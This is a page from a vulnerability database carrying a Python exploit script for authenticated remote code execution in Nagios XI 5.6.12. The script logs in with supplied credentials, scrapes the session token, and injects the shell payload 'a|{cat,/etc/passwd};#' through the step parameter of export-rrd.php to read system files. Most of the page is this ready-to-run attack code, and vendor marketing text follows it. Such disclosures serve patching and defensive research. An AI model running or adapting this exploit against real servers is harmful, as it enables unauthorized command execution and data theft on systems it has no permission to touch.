Lucene search
K

Nagios XI 5.6.12 - (export-rrd.php) Remote Code Execution Exploit

🗓️ 07 Jul 2020 00:00:00Reported by Basim AlabdullahType 
zdt
 zdt
🔗 0day.today👁 199 Views

Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Executio

Code
# Exploit Title: Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution
# Exploit Author: Basim Alabdullah
# Vendor homepage: https://www.nagios.com
# Version: 5.6.12
# Software link: https://www.nagios.com/downloads/nagios-xi/
# Tested on: CentOS REDHAT 7.7.1908 (core)
#
#                 Authenticated Remote Code Execution
#

import requests
import sys
import re


uname=sys.argv[2]
upass=sys.argv[3]
ipvictim=sys.argv[1]

with requests.session() as s:
    urlz=ipvictim+"/login.php"
    headers = {
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.8',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Referer': ipvictim+'/index.php',
        'Connection': 'keep-alive'
    }
    response = s.get(urlz, headers=headers)
    txt=response.text
    x=re.findall('var nsp_str = "(.*?)"', txt)
    for xx in x:
        login = {
        'username':uname,
        'password':upass,
        'nsp':xx,
        'page':'auth',
        'debug':'',
        'pageopt':'login',
        'redirect':ipvictim+'/index.php',
        'loginButton':''
        }
        rev=s.post(ipvictim+"/login.php",data=login , headers=headers)
        cmd=s.get(ipvictim+"/includes/components/ccm/?cmd=modify&type=host&id=1&page=1",allow_redirects=True)
        txt1=cmd.text
        xp=re.findall('var nsp_str = "(.*?)"', txt1)
        for xxp in xp:
            payload = "a|{cat,/etc/passwd};#"
            exploit=s.get(ipvictim+"/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=011&end=012&step="+payload+"&type=a&nsp="+xxp)
            print(exploit.text)

#  0day.today [2020-07-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation